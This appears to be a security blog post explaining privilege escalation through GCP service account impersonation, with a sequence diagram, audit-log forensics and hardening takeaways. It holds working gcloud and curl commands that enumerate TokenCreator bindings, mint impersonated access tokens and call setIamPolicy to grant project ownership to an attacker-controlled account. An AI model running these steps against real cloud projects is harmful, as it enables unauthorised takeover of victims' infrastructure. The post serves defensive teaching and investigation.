GCP IAM: Service Account Impersonation Deep-Dive
Overview & Threat Landscape#
In Google Cloud Platform (GCP), modern enterprise security postures increasingly mandate the elimination of static, long-lived service account keys (.json credential files). Static keys are notoriously vulnerable to code repository leaks, developer workstation compromises, and unmonitored exfiltration. To replace static credentials, Google Cloud introduced Service Account Impersonation and the IAM Service Account Credentials API, enabling workloads and human identities to generate short-lived, ephemeral OAuth2 access tokens on demand.
However, while eliminating persistent keys on disk, service account impersonation introduces a critical architectural threat model: Token Exchange Privilege Escalation. In GCP's resource hierarchy, a Service Account occupies a unique dual identity:
- It is an Identity (
principal) that can be granted IAM roles on cloud resources (such as Google Cloud Storage buckets, BigQuery datasets, or Compute Engine instances). - It is simultaneously a Resource upon which IAM policies can be attached, controlling which other identities are permitted to "act as" or "impersonate" it.
When an organization grants a user, developer group, or low-privilege service account the permission to generate tokens on another service account—typically through the built-in role roles/iam.serviceAccountTokenCreator—that caller inherits all the privileges of the target service account. If access controls are misconfigured, this mechanism allows an adversary to execute seamless lateral movement and privilege escalation:
- Bypassing Static Key Detection & Secret Scanners: Because no private key file is created, stored, or transferred across the network, automated security scanners (e.g., GitHub Secret Scanning, Trufflehog, cloud posture management tools) remain blind to the attack. The attacker acquires valid credentials directly from Google's official OAuth2 endpoint in memory.
- Escalation to Project Owner via Chained Delegation: In complex multi-project cloud topologies, attackers exploit delegation chains (using the
delegatesparameter in the IAM Credentials API). A developer with read access in a development project can chain impersonations through intermediate service accounts to mint an access token for a deployment service account (such as a Terraform runner or CI/CD pipeline) holdingroles/ownerorroles/editorin production. - Cloud Audit Log Blindness & Attribution Masking: When an attacker performs administrative actions using an impersonated token, standard Cloud Audit Logs record the target service account's email as the acting principal. Unless security analysts explicitly parse the
serviceAccountDelegationInfometadata structure inside the audit record, the true identity of the originating attacker remains obscured.
[!WARNING] Granting
roles/iam.serviceAccountTokenCreatoron a service account is functionally equivalent to granting all permissions held by that service account. In GCP IAM, token creation is not merely a utility—it is a full privilege delegation boundary.
Vulnerability & Attack Root-Cause Analysis#
The root cause of service account impersonation escalation lies in the architectural mechanics of the Google Cloud IAM Service Account Credentials API (iamcredentials.googleapis.com) and the evaluation of IAM role bindings at the resource level.
The IAM Credentials API Specification#
When an identity requests a short-lived credential for another service account, it invokes the REST API endpoint:
POST https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/{SERVICE_ACCOUNT_EMAIL}:generateAccessToken
The request payload accepts configuration parameters determining token characteristics:
{
"delegates": [
"projects/-/serviceAccounts/intermediate-sa@corp-staging.iam.gserviceaccount.com"
],
"scope": [
"https://www.googleapis.com/auth/cloud-platform"
],
"lifetime": "3600s"
}
The API evaluates three critical parameters:
delegates: An optional sequence of service accounts representing an impersonation chain. Every intermediate service account in the array must possess token creation rights on the subsequent member.scope: The OAuth2 authorization scopes requested for the token (most commonlyhttps://www.googleapis.com/auth/cloud-platformto access all GCP APIs).lifetime: Duration of the generated token (ranging from a few minutes up to a maximum of 3600 seconds, or 12 hours if organization policy constraints allow).
The Root-Cause IAM Permissions#
The IAM framework enforces authorization using granular permissions attached to the target service account resource:
iam.serviceAccounts.getAccessToken:- Encapsulated within
roles/iam.serviceAccountTokenCreator. - Directly authorizes the caller to invoke
generateAccessTokenand receive an OAuth2 Bearer token (ya29.c.b0...).
- Encapsulated within
iam.serviceAccounts.signJwt/iam.serviceAccounts.signBlob:- Encapsulated within
roles/iam.serviceAccountTokenCreator. - Allows the caller to force the service account's internal managed key to cryptographically sign arbitrary JSON Web Tokens or raw binary data. Attackers leverage
signJwtto forge custom OIDC identity tokens, bypassing identity federation checks.
- Encapsulated within
iam.serviceAccounts.implicitDelegation:- Required on all intermediate service accounts when building multi-hop impersonation chains.
iam.serviceAccounts.actAs:- Encapsulated within
roles/iam.serviceAccountUser. - Authorizes a user to attach a service account to a compute resource (such as a Compute Engine VM, Cloud Run service, or Cloud Function). While not minting a token directly via API, it enables equivalent privilege escalation by deploying workloads executing under the service account's identity.
- Encapsulated within
Resource-Level vs. Project-Level Policy Inversion#
A frequent architectural anti-pattern in GCP environments is granting roles/iam.serviceAccountTokenCreator at the Project level rather than on a specific, isolated service account:
# Anti-Pattern: Granting token creation across the entire project
gcloud projects add-iam-policy-binding target-prod-project --member="user:contractor@external.com" --role="roles/iam.serviceAccountTokenCreator"
When granted at the project level, the caller can impersonate every single service account within that project—including the Compute Engine default service account (PROJECT_NUMBER-compute@developer.gserviceaccount.com), Google-managed deployment accounts, and privileged Terraform execution identities.
Exploit Architecture#
The sequence diagram below details the protocol and authentication flow through which an attacker leverages a compromised developer identity to mint administrative access tokens and escalate to Project Owner:
sequenceDiagram
autonumber
actor Attacker as Compromised Principal (Developer)
participant OAuth as Google OAuth2 Auth Server
participant IAM as IAM Credentials API (iamcredentials)
participant ResMgr as Cloud Resource Manager API
participant Audit as Cloud Audit Logs Engine
Note over Attacker,OAuth: Phase 1: Caller Authentication
Attacker->>OAuth: Authenticate with Initial Credentials
OAuth-->>Attacker: Return Caller Identity Token / Access Token
Note over Attacker,IAM: Phase 2: Impersonation Request
Attacker->>IAM: POST /v1/projects/-/serviceAccounts/tf-admin-sa@corp.iam...:generateAccessToken
critical IAM Authorization Check
IAM->>IAM: Evaluate Target SA Resource Policy
Note over IAM: Caller possesses roles/iam.serviceAccountTokenCreator
end
IAM-->>Attacker: HTTP 200 OK {"accessToken": "ya29.c.b0...", "expireTime": "2026-09-29T04:25:00Z"}
Note over Attacker,Audit: Phase 3: Telemetry Generation
IAM->>Audit: Write GenerateAccessToken Audit Record
Note over Audit: authenticationInfo.serviceAccountDelegationInfo captures Caller
Note over Attacker,ResMgr: Phase 4: Exploitation of Minted Token
Attacker->>ResMgr: POST /v1/projects/prod-project:setIamPolicy (Auth: Bearer ya29.c.b0...)
ResMgr->>ResMgr: Validate Token Privileges (tf-admin-sa holds roles/owner)
ResMgr-->>Attacker: HTTP 200 OK (Full Project Takeover Achieved)Attack Path Step-by-Step#
Understanding the concrete operational steps an adversary undertakes during an impersonation-based attack enables security operations centers (SOC) and cloud forensics teams to pinpoint logging gaps and isolate lateral movement pathways.
Step 1: Enumerating Impersonation Candidates via Cloud Asset Inventory#
Once an adversary obtains execution context inside a cloud environment (e.g., through a compromised developer laptop or an exposed credential), they query the Cloud Asset Inventory or Resource Manager to discover service accounts and attached IAM bindings:
# Search for service accounts where the current caller has TokenCreator privileges
gcloud asset search-all-iam-policies --scope="organizations/123456789012" --query="policy:roles/iam.serviceAccountTokenCreator" --format="json" | jq '.[] | {resource: .resource, roles: .policy.bindings[] | select(.role=="roles/iam.serviceAccountTokenCreator")}'
Alternatively, the attacker inspects individual service account IAM policies:
# Inspecting IAM policy of a high-value deployment service account
gcloud iam service-accounts get-iam-policy deployer-sa@prod-infrastructure.iam.gserviceaccount.com --format="json"
If the policy bindings list the attacker's user identity, current service account, or a group they belong to, the impersonation pathway is confirmed.
Step 2: Minting Short-Lived Access Tokens via the REST API#
With a target service account identified, the adversary invokes generateAccessToken directly via the command line or an automated script:
# Programmatic token generation using curl and the IAM Credentials API
TARGET_SA="deployer-sa@prod-infrastructure.iam.gserviceaccount.com"
CALLER_TOKEN=$(gcloud auth print-access-token)
IMPERSONATED_TOKEN=$(curl -s -X POST "https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/${TARGET_SA}:generateAccessToken" -H "Authorization: Bearer ${CALLER_TOKEN}" -H "Content-Type: application/json; charset=utf-8" -d '{
"scope": ["https://www.googleapis.com/auth/cloud-platform"],
"lifetime": "3600s"
}' | jq -r .accessToken)
echo "Minted Ephemeral OAuth2 Token: ${IMPERSONATED_TOKEN:0:20}..."
The returned OAuth2 Bearer token represents the full operational identity of deployer-sa.
Step 3: Multi-Hop Chained Delegation Across Project Boundaries#
If an adversary cannot directly impersonate the ultimate target, they leverage intermediate delegation chains. For example, if Principal A can impersonate Service Account B, and Service Account B can impersonate Service Account C (in another project):
# Chained impersonation across projects using gcloud CLI
gcloud config set auth/impersonate_service_account target-sa@production-env.iam.gserviceaccount.com
gcloud storage ls gs://production-sensitive-model-weights/
Under the hood, gcloud submits a single generateAccessToken request specifying intermediate-sa in the delegates array, establishing a cryptographically validated multi-hop delegation chain.
Step 4: Privilege Escalation and Administrative Takeover#
Equipped with the high-privilege token, the attacker performs administrative operations that their original identity was forbidden from executing.
For instance, an attacker can modify the project IAM policy to grant their personal user account permanent roles/owner privileges:
# Utilizing the impersonated token to modify project-level IAM policies
curl -X POST "https://cloudresourcemanager.googleapis.com/v1/projects/prod-infrastructure:setIamPolicy" -H "Authorization: Bearer ${IMPERSONATED_TOKEN}" -H "Content-Type: application/json" -d '{
"policy": {
"bindings": [
{
"role": "roles/owner",
"members": ["user:adversary@attacker-controlled-domain.com"]
}
]
}
}'
Step 5: DFIR Triage & Cloud Audit Log Reconstitution#
When investigating suspected impersonation escalation, forensic analysts must know where to look in Google Cloud Audit Logs.
When generateAccessToken is invoked, Cloud Audit Logs generates an Admin Activity audit event:
- Service Name:
iamcredentials.googleapis.com - Method Name:
google.iam.credentials.v1.GenerateAccessToken - Resource Name:
projects/-/serviceAccounts/{TARGET_SA_EMAIL} - Authentication Info: Contains the identity of the caller that initiated the request.
However, subsequent actions taken using the minted token record the target service account in protoPayload.authenticationInfo.principalEmail. To uncover the true source of the action, responders must inspect serviceAccountDelegationInfo:
{
"protoPayload": {
"serviceName": "cloudresourcemanager.googleapis.com",
"methodName": "SetIamPolicy",
"authenticationInfo": {
"principalEmail": "deployer-sa@prod-infrastructure.iam.gserviceaccount.com",
"serviceAccountDelegationInfo": [
{
"firstPartyPrincipal": {
"principalEmail": "contractor@external.com"
}
}
]
}
}
}
The presence of firstPartyPrincipal exposes the true initiator of the administrative action.
Fast Cyber Defense Morning Takeaways#
- Service Accounts Are Security Boundaries: Treating service accounts purely as technical workload identities ignores their dual nature as delegable resources. Any identity granted
roles/iam.serviceAccountTokenCreatormust be audited with the same rigor as the target service account itself. - Project-Level Bindings Cause Excessive Blast Radii: Binding token creation permissions at the project or folder level breaks the principle of least privilege, enabling trivial lateral movement across disparate workloads.
- Forensic Visibility Requires Delegation Inspection: Security detection pipelines that alert only on
principalEmailwill misattribute malicious actions to compromised service accounts rather than the rogue caller minting the tokens.
In tonight's Evening Defense Guide (EDITION 2), we will engineer end-to-end blue team defenses:
- Restricting impersonation using GCP Organization Policies (
constraints/iam.disableServiceAccountKeyCreationandconstraints/iam.allowServiceAccountCredentialLifetimeExtension). - Writing automated Terraform and gcloud scripts to strip project-level
serviceAccountTokenCreatorbindings and enforce resource-level least-privilege. - Engineering production Sigma rules and Google Cloud Log Metric Filters to detect anomalous
GenerateAccessTokeninvocations and suspicious multi-hop delegation chains. - Implementing automated IAM revocation playbooks to invalidate active OAuth2 tokens during active incident response.
Authoritative References#
- Google Cloud Documentation: Managing Service Account Impersonation & IAM Credentials API — Google Cloud IAM Guide
- MITRE ATT&CK Framework: Technique T1078.004: Valid Accounts - Cloud Accounts & Token Impersonation — MITRE ATT&CK
- Google Cloud Architecture Center: Privilege Escalation Analysis & Service Account Security Best Practices — Google Cloud Architecture
- Cybersecurity and Infrastructure Security Agency (CISA): Technical Guidance on Cloud Identity & Access Management Hardening — CISA Cloud Security
Comments
Post a Comment